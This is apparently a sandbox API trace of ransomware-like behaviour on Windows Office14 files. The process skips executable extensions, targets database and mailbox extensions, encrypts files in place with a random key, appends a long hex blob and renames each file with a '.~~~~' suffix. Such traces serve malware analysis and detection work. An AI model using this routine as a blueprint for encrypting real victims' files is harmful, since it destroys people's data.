	[0144.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d168
	[0144.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac9b0 | out: hHeap=0x300000) returned 1
	[0144.285] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0144.285] GetLastError () returned 0x0
	[0144.285] GetLastError () returned 0x0
	[0144.285] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0144.285] GetLastError () returned 0x0
	[0144.286] GetLastError () returned 0x0
	[0144.286] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0xbd68, lpOverlapped=0x0) returned 1
	[0144.288] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffff4298, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.288] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xbd68, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xbd68, lpOverlapped=0x0) returned 1
	[0144.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.288] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.288] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.289] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.289] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.289] CloseHandle (hObject=0x114) returned 1
	[0144.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d168
	[0144.289] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.~~~~")) returned 1
	[0144.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37d168 | out: hHeap=0x300000) returned 1
	[0144.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.292] GetLastError () returned 0x0
	[0144.292] RtlWakeConditionVariable () returned 0x0
	[0144.292] GetCurrentThreadId () returned 0x9cc
	[0144.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".scr") returned 0x0
	[0144.292] lstrlenW (lpString=".cmd") returned 4
	[0144.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".cmd") returned 0x0
	[0144.292] lstrlenW (lpString=".dll") returned 4
	[0144.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".dll") returned 0x0
	[0144.292] lstrlenW (lpString=".bat") returned 4
	[0144.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".bat") returned 0x0
	[0144.292] lstrlenW (lpString=".cpl") returned 4
	[0144.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".cpl") returned 0x0
	[0144.292] lstrlenW (lpString=".sys") returned 4
	[0144.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".sys") returned 0x0
	[0144.292] lstrlenW (lpString=".msc") returned 4
	[0144.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".msc") returned 0x0
	[0144.292] lstrlenW (lpString=".com") returned 4
	[0144.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".com") returned 0x0
	[0144.292] lstrlenW (lpString=".lnk") returned 4
	[0144.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".lnk") returned 0x0
	[0144.293] lstrlenW (lpString=".msp") returned 4
	[0144.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".msp") returned 0x0
	[0144.293] lstrlenW (lpString=".pif") returned 4
	[0144.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".pif") returned 0x0
	[0144.293] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0144.296] lstrlenW (lpString=".sqb") returned 4
	[0144.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".sqb") returned 0x0
	[0144.296] lstrlenW (lpString=".ost") returned 4
	[0144.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".ost") returned 0x0
	[0144.296] lstrlenW (lpString=".txt") returned 4
	[0144.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".txt") returned 0x0
	[0144.296] lstrlenW (lpString=".mdt") returned 4
	[0144.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".mdt") returned 0x0
	[0144.297] lstrlenW (lpString=".BDB") returned 4
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".BDB") returned 0x0
	[0144.297] lstrlenW (lpString=".eql") returned 4
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".eql") returned 0x0
	[0144.297] lstrlenW (lpString=".DBF") returned 4
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".DBF") returned 0x0
	[0144.297] lstrlenW (lpString=".EQL") returned 4
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".EQL") returned 0x0
	[0144.297] lstrlenW (lpString=".FDB") returned 4
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".FDB") returned 0x0
	[0144.297] lstrlenW (lpString=".EDB") returned 4
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".EDB") returned 0x0
	[0144.297] lstrlenW (lpString=".DACPAC") returned 7
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".DACPAC") returned 0x0
	[0144.297] lstrlenW (lpString=".VHD") returned 4
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".VHD") returned 0x0
	[0144.297] lstrlenW (lpString=".DBV") returned 4
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".DBV") returned 0x0
	[0144.297] lstrlenW (lpString=".dacpac") returned 7
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".dacpac") returned 0x0
	[0144.297] lstrlenW (lpString=".sdf") returned 4
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".sdf") returned 0x0
	[0144.297] lstrlenW (lpString=".accdb") returned 6
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".accdb") returned 0x0
	[0144.297] lstrlenW (lpString=".DBX") returned 4
	[0144.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".DBX") returned 0x0
	[0144.298] lstrlenW (lpString=".MDT") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".MDT") returned 0x0
	[0144.298] lstrlenW (lpString=".SQB") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".SQB") returned 0x0
	[0144.298] lstrlenW (lpString=".vhd") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".vhd") returned 0x0
	[0144.298] lstrlenW (lpString=".bac") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".bac") returned 0x0
	[0144.298] lstrlenW (lpString=".mdf") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".mdf") returned 0x0
	[0144.298] lstrlenW (lpString=".BAK") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".BAK") returned 0x0
	[0144.298] lstrlenW (lpString=".BAC") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".BAC") returned 0x0
	[0144.298] lstrlenW (lpString=".dbs") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".dbs") returned 0x0
	[0144.298] lstrlenW (lpString=".vhdx") returned 5
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".vhdx") returned 0x0
	[0144.298] lstrlenW (lpString=".NDF") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".NDF") returned 0x0
	[0144.298] lstrlenW (lpString=".dat") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".dat") returned 0x0
	[0144.298] lstrlenW (lpString=".DBS") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".DBS") returned 0x0
	[0144.298] lstrlenW (lpString=".CKP") returned 4
	[0144.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".CKP") returned 0x0
	[0144.299] lstrlenW (lpString=".edb") returned 4
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".edb") returned 0x0
	[0144.299] lstrlenW (lpString=".PST") returned 4
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".PST") returned 0x0
	[0144.299] lstrlenW (lpString=".dbf") returned 4
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".dbf") returned 0x0
	[0144.299] lstrlenW (lpString=".SQL") returned 4
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".SQL") returned 0x0
	[0144.299] lstrlenW (lpString=".pst") returned 4
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".pst") returned 0x0
	[0144.299] lstrlenW (lpString=".dbv") returned 4
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".dbv") returned 0x0
	[0144.299] lstrlenW (lpString=".SDF") returned 4
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".SDF") returned 0x0
	[0144.299] lstrlenW (lpString=".dtxs") returned 5
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".dtxs") returned 0x0
	[0144.299] lstrlenW (lpString=".db3") returned 4
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".db3") returned 0x0
	[0144.299] lstrlenW (lpString=".OST") returned 4
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".OST") returned 0x0
	[0144.299] lstrlenW (lpString=".dbx") returned 4
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".dbx") returned 0x0
	[0144.299] lstrlenW (lpString=".DB3") returned 4
	[0144.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".DB3") returned 0x0
	[0144.299] lstrlenW (lpString=".DAT") returned 4
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".DAT") returned 0x0
	[0144.300] lstrlenW (lpString=".VHDX") returned 5
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".VHDX") returned 0x0
	[0144.300] lstrlenW (lpString=".ndf") returned 4
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".ndf") returned 0x0
	[0144.300] lstrlenW (lpString=".DB") returned 3
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".DB") returned 0x0
	[0144.300] lstrlenW (lpString=".sql") returned 4
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".sql") returned 0x0
	[0144.300] lstrlenW (lpString=".MYD") returned 4
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".MYD") returned 0x0
	[0144.300] lstrlenW (lpString=".DBT") returned 4
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".DBT") returned 0x0
	[0144.300] lstrlenW (lpString=".ACCDB") returned 6
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".ACCDB") returned 0x0
	[0144.300] lstrlenW (lpString=".fdb") returned 4
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".fdb") returned 0x0
	[0144.300] lstrlenW (lpString=".bak") returned 4
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".bak") returned 0x0
	[0144.300] lstrlenW (lpString=".myd") returned 4
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".myd") returned 0x0
	[0144.300] lstrlenW (lpString=".DTXS") returned 5
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".DTXS") returned 0x0
	[0144.300] lstrlenW (lpString=".ckp") returned 4
	[0144.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".ckp") returned 0x0
	[0144.300] lstrlenW (lpString=".dbt") returned 4
	[0144.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".dbt") returned 0x0
	[0144.301] lstrlenW (lpString=".db") returned 3
	[0144.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".db") returned 0x0
	[0144.301] lstrlenW (lpString=".TXT") returned 4
	[0144.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".TXT") returned 0x0
	[0144.301] lstrlenW (lpString=".MDF") returned 4
	[0144.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".MDF") returned 0x0
	[0144.301] lstrlenW (lpString=".bdb") returned 4
	[0144.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".bdb") returned 0x0
	[0144.301] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.301] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0144.302] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.302] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0144.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.303] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26429271969) returned 1
	[0144.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf6a49b0, dwHighDateTime=0x1d60e1e)) 
	[0144.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3990
	[0144.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3990 | out: hHeap=0x300000) returned 1
	[0144.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac9b0
	[0144.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bca0
	[0144.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac9b0 | out: hHeap=0x300000) returned 1
	[0144.303] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0144.304] GetLastError () returned 0x0
	[0144.304] GetLastError () returned 0x0
	[0144.304] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0144.304] GetLastError () returned 0x0
	[0144.304] GetLastError () returned 0x0
	[0144.304] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x10d78, lpOverlapped=0x0) returned 1
	[0144.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffef288, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.384] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x10d78, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x10d78, lpOverlapped=0x0) returned 1
	[0144.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.385] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.385] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.385] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.385] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.385] CloseHandle (hObject=0x114) returned 1
	[0144.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.387] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.~~~~")) returned 1
	[0144.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0b68 | out: hHeap=0x300000) returned 1
	[0144.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.389] GetLastError () returned 0x0
	[0144.390] RtlWakeConditionVariable () returned 0x0
	[0144.390] GetCurrentThreadId () returned 0x9cc
	[0144.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".scr") returned 0x0
	[0144.390] lstrlenW (lpString=".cmd") returned 4
	[0144.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".cmd") returned 0x0
	[0144.390] lstrlenW (lpString=".dll") returned 4
	[0144.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".dll") returned 0x0
	[0144.390] lstrlenW (lpString=".bat") returned 4
	[0144.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".bat") returned 0x0
	[0144.390] lstrlenW (lpString=".cpl") returned 4
	[0144.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".cpl") returned 0x0
	[0144.390] lstrlenW (lpString=".sys") returned 4
	[0144.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".sys") returned 0x0
	[0144.390] lstrlenW (lpString=".msc") returned 4
	[0144.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".msc") returned 0x0
	[0144.390] lstrlenW (lpString=".com") returned 4
	[0144.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".com") returned 0x0
	[0144.390] lstrlenW (lpString=".lnk") returned 4
	[0144.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".lnk") returned 0x0
	[0144.390] lstrlenW (lpString=".msp") returned 4
	[0144.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".msp") returned 0x0
	[0144.390] lstrlenW (lpString=".pif") returned 4
	[0144.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch=".pif") returned 0x0
	[0144.391] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL", lpSrch="msp\r\n.pif") returned 0x0
